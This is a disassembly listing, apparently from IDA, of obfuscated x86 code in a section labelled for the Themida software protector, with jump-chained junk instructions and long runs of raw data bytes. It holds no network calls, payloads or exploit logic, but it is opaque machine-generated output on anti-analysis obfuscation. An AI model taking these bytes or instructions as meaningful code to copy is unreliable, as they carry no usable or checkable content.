		dd 4, 4EF81h, 3C870000h, 3C895C24h, 75BD5524h, 0C117A246h
		dd 49E908EDh
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559AFF:				; CODE XREF: Themida_:00552B0Dj
		push	ebp
		add	dword ptr [esp], 71792295h
		jmp	loc_552113
; ---------------------------------------------------------------------------
		dd 8864EABEh, 0D1ECE908h, 0E589FFFFh, 0C14E9h
		db 0
byte_559B1D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054F6A4o
aHG		db '$hÐg',0
		align 2
		dw 1C89h
		dd 9200E924h, 0C381FFFFh, 41F63564h, 1C8BDA31h,	4C48324h
		dd 198E9h, 0C896600h, 4C4B124h,	28E20487h, 1767E9C8h, 0FE010000h
		dd 0FFC9D1E9h, 54BB53FFh, 81775D7Ah, 0B5042444h, 14EDD58h
		dd 8104245Ch, 0B504246Ch, 5B4EDD58h, 5B2434FFh,	5104C483h
		dd 0FFF06AE9h, 4EC81FFh, 89000000h, 0E189240Ch,	4C181h
		dd 0E1E90000h
		db 0A7h, 2 dup(0FFh)
byte_559B97	db 0FFh			; DATA XREF: Themida_:0054F6FCo
		dd 48B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_559FA4
; ---------------------------------------------------------------------------
		db 0BFh, 0BAh, 5Ah
		dd 0F9011745h, 143C685Fh, 2C890000h, 55FD8924h,	63C2E950h
		dd 0F4B4FFFFh, 0FF613FE9h, 0E9D189FFh, 0FFFF84A2h
; ---------------------------------------------------------------------------


loc_559BCC:				; CODE XREF: Themida_:0055BF22j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_555E1D
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0EFh
		dd 0B1A9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559BE6:				; CODE XREF: Themida_:0054FE13j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_552648
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34FF2424h, 0F685824h, 0E9000042h, 0FFFF8C6Eh
; ---------------------------------------------------------------------------


loc_559C0C:				; CODE XREF: Themida_:005535D2j
		add	esp, 4
		xor	eax, ebx
		pop	ebx
		push	eax
		push	esp
		pop	eax
		push	ecx
		jmp	loc_558A78
; ---------------------------------------------------------------------------


loc_559C1B:				; CODE XREF: Themida_:0055AB1Ej
		shr	ecx, 1
		sub	ecx, 0D08C78EFh
		sub	edx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4


loc_559C30:				; CODE XREF: Themida_:00551ACCj
					; Themida_:0055389Fj
		push	ebx
		push	ebp
		push	edi
		mov	edi, 6534472Ch
		neg	edi
		add	edi, 0AC9374A8h
		jmp	loc_554CE9
; ---------------------------------------------------------------------------
		db 0D1h, 0EDh, 0F7h
		dd 0EDF581D5h, 1A11AD6h, 0F63EE9EEh, 0DB5FFFFh,	0E580C5FEh
		dd 0CED8079h, 0E9E9ED80h, 0FFFF7BC7h, 5B2434FFh, 0E904C483h
		dd 0FFFF5B3Fh
dword_559C74	dd 24048B66h, 8904EC83h, 5F54243Ch, 0FFA769E9h,	4EC83FFh
					; DATA XREF: Themida_:0054F670o
		dd 24048F54h, 4240483h,	4C2815Ah, 68000000h, 6565h, 50241C89h
		dd 0FF73CCE9h, 4BBFFh, 0C1810000h, 1E1C5181h, 0BE56D901h
		dd 1E1C5181h, 0FFCAE6E9h, 0C9F680FFh, 0FF6B3EE9h, 242C89FFh
		dd 64E8BA52h, 0CA815793h, 282000F7h, 13F2E9h, 5AD62900h
		dd 0F8BD5553h, 81290752h, 551AFFF5h, 34F58123h,	8942DA2Eh
		dd 0DE295DEBh, 81241C8Bh, 4C4h,	4EC8100h, 89000000h, 4812434h
		dd 0AA176A24h, 97F2E976h, 30B2FFFFh, 0FF977BE9h, 24248BFFh
		dd 4AB0F66h, 8CE99C24h,	81FFFF5Ah, 0B17AEEC3h, 4EE9571Ch
		dd 5300001Bh, 0FF80F0E9h, 0E98149FFh, 5B9C581Dh, 9AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_559D45:				; CODE XREF: Themida_:00550CCAj
		xchg	esi, [esp]
		jmp	loc_551E30
; ---------------------------------------------------------------------------


loc_559D4D:				; CODE XREF: Themida_:00557C31j
		push	ebp
		jmp	loc_551407
; ---------------------------------------------------------------------------
byte_559D53	db 66h			; DATA XREF: Themida_:0054F710o
		dd 8124048Bh, 4ECh, 241C8900h, 0ABE9E389h, 5600000Fh, 0BEE95E54h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559D6F:				; CODE XREF: Themida_:0055B70Aj
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5572EF
; ---------------------------------------------------------------------------


loc_559D83:				; CODE XREF: Themida_:00559F37j
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	3991h
		jmp	loc_55875B
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0E9E58924h, 0FFFFBF5Bh, 0E689565Ch, 4C681h, 0C6810000h
		dd 4, 0FFFCBAE9h, 0C6015FFFh, 1AF1BB53h, 0DE01457Ah, 0FFDDC2E9h
		dd 14875FFFh, 0F665C24h, 9C2404B3h, 0FF59CEE9h,	0ED814DFFh
		dd 48465D90h, 0F581D5F7h, 7ED179F6h, 27D6C581h,	0F58170ECh
		dd 0D22499B2h, 5EE9EB89h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E07:				; CODE XREF: Themida_:0055114Dj
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_55009E
; ---------------------------------------------------------------------------
		dd 5352F988h, 22D268h, 24048900h, 0CA885253h, 60E9D388h
		dd 4FFFFCFh, 2CC80090h,	2AE95990h, 0DFFFFF1h, 4D8029Bh
		dd 0CD0BE940h, 0BE56FFFFh, 738C4763h, 2463C681h, 0DEF73CDFh
		dd 13BFC681h, 814E11FFh, 984401EEh, 5EF38922h, 0FF6660E9h
		dd 242C8BFFh, 4C481h, 0E9570000h, 6AAh,	0C15EF531h, 0B85007EDh
		dd 562737E6h, 0FFF6F3E9h
		db 0FFh
byte_559E81	db 66h,	0Fh, 0B6h	; DATA XREF: Themida_:0054F58Co
		dd 62686602h, 4896677h,	5921E924h, 1C8BFFFFh, 4C48324h
		dd 0FFC9B9E9h, 331C68FFh, 815E4802h, 23318F6h, 5EF38948h
		dd 565BDA01h, 0B55AB2BEh, 9B34E957h, 6203FFFFh,	0F787E938h
		dd 1C8BFFFFh, 1196E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559ECA:				; CODE XREF: Themida_:00554538j
		neg	ecx
		sub	ecx, 0EB4F28D9h
		add	ebp, ecx
		pop	ecx
		jmp	loc_553AD4
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 7AB51920h, 0D87FE981h, 0F9017A72h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	ecx
		mov	ecx, 0ED47EE2h
		mov	ebx, 149E9703h
		add	ebx, ecx
		jmp	loc_55829A
; ---------------------------------------------------------------------------


loc_559EFE:				; CODE XREF: Themida_:005563B6j
		pop	eax
		push	ebp
		mov	ebp, 2A726685h
		sub	edi, ebp
		pop	ebp
		and	eax, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	1CADh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_559D83
; ---------------------------------------------------------------------------
		dd 55243C89h, 0FF7588E9h, 26E956FFh, 0F6000014h, 83EDD0DDh
		dd 896602ECh, 0DAB62414h, 2838C580h, 38ED80F5h,	24148B66h
		dd 2C481h, 0F5800000h, 0E9E828ECh, 0FFFFDEA2h, 8B243C87h
		dd 4202424h, 30E99C24h,	8BFFFF58h, 0C483243Ch, 0EBED8104h
		dd 0E9FFFFEFh, 0FFFFA3CBh
; ---------------------------------------------------------------------------


loc_559F94:				; CODE XREF: Themida_:0055C037j
		sub	ebp, ecx
		pop	ecx
		not	ebp
		sub	ebp, 0C7E8FA34h
		jmp	loc_552B4A
; ---------------------------------------------------------------------------


loc_559FA4:				; CODE XREF: Themida_:00559BA0j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_556235
; ---------------------------------------------------------------------------
		dd 158C389h, 0EC835BDAh, 24348904h, 4BEh, 5EF20100h, 0E9241487h
		dd 0FFFF9B30h, 815BD901h, 4ECh,	638FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559FFA:				; CODE XREF: Themida_:00554FA4j
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, ebx
		jmp	loc_553B56
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0B657E924h, 0EDC1FFFFh, 2E5C103h, 68h, 242C2900h, 0FFD6D6E9h
		dd 59EC88FFh, 0E4E9C6B1h
		db 0DDh, 2 dup(0FFh)
byte_55A047	db 66h			; DATA XREF: Themida_:0054F618o
		dd 64E932FFh, 33FFFF57h, 34312434h, 24343324h, 0AF12E95Ch
		dd 0F800FFFFh, 0BDE9F82Ch
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A067:				; CODE XREF: Themida_:005586DBj
		mov	ebx, 64904DA0h
		jmp	loc_55099B
; ---------------------------------------------------------------------------


loc_55A071:				; CODE XREF: Themida_:0055B92Dj
		add	edx, esi
		jmp	loc_5553AF
; ---------------------------------------------------------------------------
dword_55A078	dd 9D1C77FFh, 24041158h, 572DE99Ch, 0ED80FFFFh,	36B6521Ah
					; DATA XREF: Themida_:0054F740o
		dd 0D6F6C6FEh, 0FF8FA1E9h, 2BEFFh, 0F0010000h, 74FF505Eh
		dd 48B0424h, 4EC8124h, 89000000h, 0E589242Ch, 0FFE226E9h
		dd 4EC81FFh, 89000000h,	0BA522424h, 4, 4245401h, 0FFB13BE9h
		dd 6EBC1FFh, 1295E9h, 51596600h, 0FFC4B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A0DD:				; CODE XREF: Themida_:00558B8Aj
		pop	ebx
		add	[esp+8], ecx
		pop	ecx
		add	dword ptr [esp+4], 9AF5606h
		sub	[esp+4], ebp
		push	edx
		mov	edx, 9AF5606h
		jmp	loc_551690
; ---------------------------------------------------------------------------
aLHk		db '‹$$hk',0
		dd 0C890000h, 68555324h, 43957DEFh, 0FFED835Dh,	0FEE0C581h
		dd 0E9572182h, 0FFFFF515h, 53241C8Bh, 0C381E389h, 4, 0E904C383h
		dd 0FFFFACD3h, 33241C31h, 0E95C241Ch, 0FFFFF4FFh, 0B6E9C7FEh
		dd 0BAFFFFDBh, 4FCA4F04h, 0B807E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A14E:				; CODE XREF: Themida_:00554E8Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		push	edi
		jmp	loc_557EB8
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8100h, 89000000h, 97E92414h, 1FFFFFBh, 2FEB81FBh
		dd 8B7B9F57h, 8957243Ch, 0A1E951E7h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A18F:				; CODE XREF: Themida_:0055BB24j
		push	bx
		jmp	loc_552CA3
; ---------------------------------------------------------------------------
		dw 585Bh
		dd 1EFFE381h, 0BA526964h, 7BED7FB5h, 0EA83D2F7h, 0E0E94AFFh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A1AF:				; CODE XREF: Themida_:00553439j
		push	2C5A21D0h
		pop	edx
		and	edx, 30157D38h
		push	ebp
		mov	ebp, 200FA110h
		sub	edx, ebp
		pop	ebp
		and	eax, edx
		jmp	loc_55440E
; ---------------------------------------------------------------------------


loc_55A1CB:				; CODE XREF: Themida_:0055712Cj
		mov	[esp], eax
		push	0EF2732Bh
		pop	eax
		add	ebp, eax
		pop	eax
		sub	ebp, esi
		sub	ebp, 0EF2732Bh
		pop	esi
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0
		or	eax, eax
		jz	loc_558A34
		push	ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_558632
; ---------------------------------------------------------------------------
word_55A1FA	dw 77FFh		; DATA XREF: Themida_:0054F568o
a8hT		db '8hÁT',0
		align 2
		dw 0B9E9h
		dd 0BEFFFFEBh, 1, 8B1C7709h, 0E9522434h, 1ED5h,	0D0BAC180h
		dd 0F7D5E9E1h, 5456FFFFh, 8124348Bh, 4C4h, 0BFE95300h
		dd 8100001Dh, 4ECh, 24148900h, 6D3AE950h, 34FFFFFFh, 0E155E924h
		dd 0C181FFFFh, 44DD744Dh, 8959CB31h, 84255BD8h,	5764D43Dh
		dd 410268h, 6AE4E900h, 0D5F7FFFFh, 9D36ED81h, 0EB015BC9h
		dd 0FF814AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A275:				; CODE XREF: Themida_:0055955Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55505F
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 52EE8100h, 5673B02Fh, 0EF815E5Bh, 5A7B6F7Eh
		dd 0C781DF01h, 5A7B6F7Eh, 243C335Bh, 33243C31h,	248B243Ch
		dd 48B6624h, 5C276824h,	34890000h, 0E9E68924h, 2BBh, 4BD555Ah
		dd 0E9000000h, 0FFFFB9A6h, 205h, 24048700h, 8424248Bh
		dd 0D4E99CC8h, 51FFFF54h, 0C181E189h, 4, 8704C183h, 305C240Ch
		dd 2434FFD0h, 0BFFAE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A2FA:				; CODE XREF: Themida_:00551DCFj
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5519F2
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48704C0h,	0BC9AE924h, 5A66FFFFh, 28F6EB80h
		dd 0CD045BD8h, 0E3895351h, 2262B850h, 0A205146Bh, 1EB94DDh
		dd 0BA5258C3h, 47EC7B59h, 0FFD626E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A341:				; CODE XREF: Themida_:0054FFE8j
		pop	esp
		add	esp, 4
		push	5677h
		mov	[esp], edi
		mov	edi, 51727ACEh
		inc	edi
		jmp	loc_5563AE
; ---------------------------------------------------------------------------
		dd 3DF6EA81h, 0CA292A88h, 3DF6C281h, 0C8B2A88h,	131CE924h
		dd 0E1810000h, 593D4566h, 1423E981h, 0F181352Eh, 0F4915650h
		dd 159CB01h, 0B1EB81FBh, 552E6A66h, 330452BDh, 0A8A0E946h
		dd 0B5BEFFFFh, 4E2DB374h, 0BB53DEF7h, 2B6A1C0Fh, 68B9F381h
		dd 0DE0106D9h, 0AFEB815Bh, 135693Bh, 5EE950F3h,	89FFFF89h
		dd 0EB015AD5h, 0C3815F5Dh, 572459BFh, 0FFE79FE9h
		db 0FFh
byte_55A3CD	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054F608o
		dd 8124048Bh, 4C4h, 7F26800h, 4890000h,	55AFE924h, 0F588FFFFh
		dd 0C9E5E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A3EE:				; CODE XREF: Themida_:0054FBB5j
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_558CC4
; ---------------------------------------------------------------------------


loc_55A3FB:				; CODE XREF: Themida_:005550C2j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 6551F51h
		jmp	loc_55344C
; ---------------------------------------------------------------------------
word_55A412	dw 8B66h		; DATA XREF: Themida_:0054F5F4o
		dd 0C868240Ch, 8900004Dh, 8B54243Ch, 0EC81243Ch, 4, 89243C89h
		dd 0DCBA52E7h, 0C139A54Ch, 0EA8102EAh, 0E695333h, 0FF6B95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A441:				; CODE XREF: Themida_:0055AEE2j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 60AC6AA7h
		inc	edi
		add	edi, 23CD315Dh
		jmp	loc_554737
; ---------------------------------------------------------------------------
dword_55A458	dd 24048B66h, 0FF8CCBE9h ; DATA	XREF: Themida_:0054F510o
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A461:				; CODE XREF: Themida_:00558346j
		mov	edx, 1
		jmp	loc_5571B8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 0B2BB5304h, 0E905ED18h, 0FFFFC9B9h, 2AE94834h
		dd 81000007h, 968ABEAh,	81CA0148h, 968ABC2h, 240C8B48h
		dd 0FFACCAE9h, 5EF131FFh, 0F02EC181h, 0C801CDFDh, 40559h
		dd 93E90000h, 0F6FFFFBFh, 84CB80DBh, 28CAC380h,	41E95BD8h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A4BF:				; CODE XREF: Themida_:00550432j
		add	edi, 51407346h
		add	edi, 46651D7Ah
		jmp	loc_550278
; ---------------------------------------------------------------------------
		dd 0EEE9D7F7h, 0FFFFFFA0h, 0E9592434h, 0FFFFDC73h, 8B24048Fh
		dd 66642424h, 8EE90289h, 55FFFF8Dh, 5D2414F7h, 0B3DE94Dh
		dd 0BF570000h, 554F3095h, 0FFE5E3E9h, 405FFh, 4870000h
		dd 0A02BE924h, 1C89FFFFh, 0D331E924h, 0E789FFFFh, 0FFF5BDE9h
		dd 0C8295EFFh, 0B60F6659h, 4EC8100h, 0E9000000h, 0FFFF8E5Fh
		dd 0EB80C300h, 4CC380A1h, 468668h, 6236E900h, 48BFFFFh
		dd 4C48324h, 21F068h, 24148900h, 0FFD373E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A559:				; CODE XREF: Themida_:0055B8A8j
		mov	edx, 12674823h
		jmp	loc_553CE6
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 24143324h, 0FFF336E9h, 2C0505FFh,	19E90849h
		dd 57FFFFF2h, 0C781E789h, 4, 4EF81h, 90E90000h,	66FFFFC7h
		dd 5D80C381h, 0FF7EFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A599:				; CODE XREF: Themida_:0055A9C8j
		push	4AAEh
		mov	[esp], edx
		push	7A6B4AF0h
		jmp	loc_5521FB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0FF9D77E9h, 24248BFFh, 1A4E9h, 0ED834D00h
		dd 4EDC1FFh, 0D0FAED81h, 0BCE9A307h, 83FFFF65h,	148904ECh
		dd 148B5424h, 4C48124h,	81000000h, 4C2h, 0BFBF5700h, 4F75E62Dh
		dd 5088F781h, 0EF814F53h, 402714Ch, 33EEEF81h, 0F7817C61h
		dd 0BA51D7FEh, 0FFA4E9E9h, 0B45052FFh, 308BB62Ah, 0F00058E6h
		dd 0B450525Ah, 0E3ECE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A622:				; CODE XREF: Themida_:00552672j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0EAB704C9h
		add	ebx, 63F14457h
		sub	ebx, esi
		sub	ebx, 63F14457h
		pop	esi
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, edi
		pop	edi
		add	esi, 66BA2D95h
		add	esi, edx
		jmp	loc_55B190
; ---------------------------------------------------------------------------
		dd offset dword_5A6568
		dd 24048900h, 0C788F1B0h, 0FF6323E9h, 6EBC0FFh,	0FF7174E9h
		dd 68E689FFh, 2A99h, 0B9240C89h, 2B744637h, 5549D9F7h
		dd 7573A7BDh, 13E58138h, 8177C067h, 33D3EF5h, 2E5C124h
		dd 0BF30ED81h, 0E9297C81h, 59CE015Dh, 300F68h, 242C8900h
		dd 0FFD33EE9h, 66C280FFh, 0E926CA80h, 0FFFFC00Bh, 6824348Bh
		dd 78F7h, 89240C89h, 7EBD55E1h,	0D118D06Ah, 1CD81EDh, 0C1381061h
		dd 0EDC105EDh, 0CABCE905h, 5653FFFFh, 0FFCB79E9h
		db 0FFh
byte_55A6E5	db 64h,	0FFh, 32h	; DATA XREF: Themida_:0054F600o
		dd 0FFC077E9h, 0E9FD28FFh, 1587h, 1846C981h, 0C181679Dh
		dd 0D1608B29h, 0C159CF09h, 0E78105EFh, 82103FAh, 33D3C781h
		dd 0BEE91C27h, 0F6FFFFEAh, 4E3C0DBh, 80DEE380h,	0DD8812F3h
		dd 0F6C5FE5Bh, 8EC580D5h, 0FFA6DAE9h, 4C581FFh,	83000000h
		dd 2C8704EDh, 8AEBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A742:				; CODE XREF: Themida_:005560D5j
		sub	eax, 76F73773h
		shl	eax, 7
		xor	eax, 0FE417045h
		and	ebp, eax
		pop	eax
		sub	ebp, 0B24D4F81h
		mov	eax, ebp
		pop	ebp
		shr	eax, 4
		not	eax
		jmp	loc_55938B
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd offset dword_555CE8+80h
		dd 24148900h, 7669E954h, 815FFFFFh, 4C7h, 7BFEE900h, 0EC83FFFFh
		dd 0E21E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A78A:				; CODE XREF: Themida_:0055971Bj
		mov	edx, 0EB2B1F49h
		add	edx, eax
		mov	eax, [esp]
		push	eax
		jmp	loc_54FD5E
; ---------------------------------------------------------------------------


loc_55A79A:				; CODE XREF: Themida_:0055B545j
		xchg	ah, ch
		xor	ch, 85h
		add	al, 63h
		add	al, ch
		push	edx
		mov	dh, 1Bh
		or	dh, 6
		xor	dh, 0A1h
		neg	dh
		sub	dh, 0DFh
		jmp	loc_5563BB
; ---------------------------------------------------------------------------
aRithaj		db 'R‰âh J',0
		align 2
		dw 0C89h
		dd 48BB5324h, 8177CB75h, 90629CEBh, 0E2F38173h,	8158F93Ah
		dd 671D3BEBh, 59DCE951h, 2489FFFFh, 4EC8124h, 89000000h
		dd 0C3E92404h, 87FFFFD5h, 505C242Ch, 5621A3B8h,	0E9D0F73Ah
		dd 0FFFFE3B4h, 38A8C181h, 0D1011640h, 38A8E981h, 875A1640h
		dd 0E95C240Ch, 0FFFFDC47h, 34FFCA01h, 89525924h, 4C281E2h
		dd 83000000h, 2C8904ECh, 4BD24h, 0EA010000h, 2414875Dh
		dd 0D381E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A83E:				; CODE XREF: Themida_:0054FB63j
		xchg	edx, ebx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		xchg	edx, ebx
		sub	esp, 4
		mov	[esp], eax
		push	6BD2h
		jmp	loc_550437
; ---------------------------------------------------------------------------
		dd 0FED0E280h, 76B753CAh, 1DE568h, 240C8900h, 0C5802BB5h
		dd 59EF3015h, 0F608E7C0h, 0E9C7FED7h, 0FFFFA776h
; ---------------------------------------------------------------------------


loc_55A87C:				; CODE XREF: Themida_:00556C2Fj
		push	esi
		jmp	loc_551171
; ---------------------------------------------------------------------------
		dw 0E883h
		dd 24043304h, 8DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A88D:				; CODE XREF: Themida_:0055B72Dj
		pop	ebx
		push	edx
		jmp	loc_554D10
; ---------------------------------------------------------------------------


loc_55A894:				; CODE XREF: Themida_:0055B18Bj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_550DE6
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 8Ch
		dd 0E90A0D22h, 0FFFFD728h, 6C7600BEh, 0CCE68140h, 4E7C2550h
		dd 0FF813DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A8C1:				; CODE XREF: Themida_:00553D3Aj
		xor	esi, ebx
		pop	ebx
		jmp	loc_554568
; ---------------------------------------------------------------------------


loc_55A8C9:				; CODE XREF: Themida_:0054FDF1j
					; Themida_:00551383j
		push	ebx
		push	548h
		mov	[esp], ebp
		push	eax
		jmp	loc_5528CC
; ---------------------------------------------------------------------------


loc_55A8D8:				; CODE XREF: Themida_:00557028j
		dec	ebx
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		add	ebx, 62B46DA3h
		not	ebx
		xor	ebx, 32993DA3h
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 7
		push	6A37h
		mov	[esp], ebx
		jmp	loc_555237
; ---------------------------------------------------------------------------
		db 0B3h
		dd 2CCA2C6Dh, 51F604A1h, 0FFF345E9h, 2434FFFFh,	77B1E95Eh
		dd 431FFFFh, 24043324h,	0CD73E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A926:				; CODE XREF: Themida_:00556C35j
		sub	[esp+4], ebx
		jmp	loc_55B666
; ---------------------------------------------------------------------------
		db 53h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0B0502414h
		dd 88A92CC5h, 24048BC2h, 4C481h, 0D7880000h, 8324148Bh
		dd 515204C4h, 0FFC123E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A965:				; CODE XREF: Themida_:00554CCCj
		sub	edx, 904E93FFh
		mov	ebx, edx
		pop	edx
		xor	ebx, 692F396Bh
		jmp	loc_55B873
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 0E9000000h, 0FFFFD717h
; ---------------------------------------------------------------------------


loc_55A984:				; CODE XREF: Themida_:0054F7C1j
		push	ebp
		push	esi
		jmp	loc_550482
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFE58FE9h, 56DEF7FFh, 5E2414F7h, 3C685652h,	5E21BE52h
		dd 0CE81E6D1h, 2F382CB1h, 0FF9623E9h, 2C681FFh,	56000000h
		dd 0FF6544E9h, 0FA8952FFh, 5F5AD589h, 63E9D5F7h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A9C7:				; CODE XREF: Themida_:005571DBj
		push	esi
		jmp	loc_55A599
; ---------------------------------------------------------------------------


loc_55A9CD:				; CODE XREF: Themida_:00558C7Bj
		push	1
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_552483
; ---------------------------------------------------------------------------
		dd 8104C483h, 56B836F7h, 4EC8177h, 89000000h, 6850240Ch
		dd 15411CEEh, 58EC0558h, 8957664Eh, 0C026E9C7h,	3C8BFFFFh
		dd 4EC8124h, 89000000h,	0EC812434h, 4, 83242489h, 8B042404h
		dd 0C4812434h, 4, 4C681h, 0BD550000h, 4, 12E9EE01h, 35000010h
		dd 240C0102h, 1114EE81h, 75E9264Ch, 81FFFF5Bh, 4C3h, 4FE95600h
		db 0B4h, 2 dup(0FFh)
byte_55AA63	db 0FFh			; DATA XREF: Themida_:0054F6D4o
		dd 34FF2434h, 2434FF24h, 8324048Bh, 0EC8304C4h,	242C8904h
		dd 0C581E589h, 4, 4B850h, 0C5010000h, 242C8758h, 0FFC626E9h
		dd 0F7455FFFh, 0B6ED81DDh, 1C9E56Fh, 242C8BE9h,	0FF6DE4E9h
		dd 243C87FFh, 68EBE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AAAE:				; CODE XREF: Themida_:00556085j
		add	edx, 77A242D0h
		add	edx, 0CF3756Dh
		add	edx, edi
		jmp	loc_55506C
; ---------------------------------------------------------------------------
		db 1, 0FEh, 5Fh
		dd 0B4BBF57h, 0D7F708B1h, 8104E7C1h, 524809C7h,	0B9C7812Ch
		dd 0E95EBE6Ch, 0FFFFBC07h
; ---------------------------------------------------------------------------


loc_55AAE0:				; CODE XREF: Themida_:00557EE1j
		push	edx
		push	edi
		push	6D52195Ah
		pop	edi
		xor	edi, 77F41394h
		jmp	loc_55112E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 112BE9h, 5FF80100h, 702CE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB02:				; CODE XREF: Themida_:005553D4j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5507C3
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 0FF6652E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB15:				; CODE XREF: Themida_:0055BB7Ej
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_559C1B
; ---------------------------------------------------------------------------


loc_55AB23:				; CODE XREF: Themida_:00553255j
		mov	ecx, 6223620h
		dec	ecx
		xor	ecx, 7FD90982h
		add	ecx, 8604C067h
		add	edx, ecx
		pop	ecx
		jmp	loc_54FDCA
; ---------------------------------------------------------------------------
		db 0E9h, 71h, 4Ch
		dd 815FFFFFh, 299A2BF7h, 0D398E9C4h, 5D68FFFFh,	89000077h
		dd 0A2E9241Ch, 0F7FFFF94h, 8FADE9D5h, 0EA81FFFFh, 66362E26h
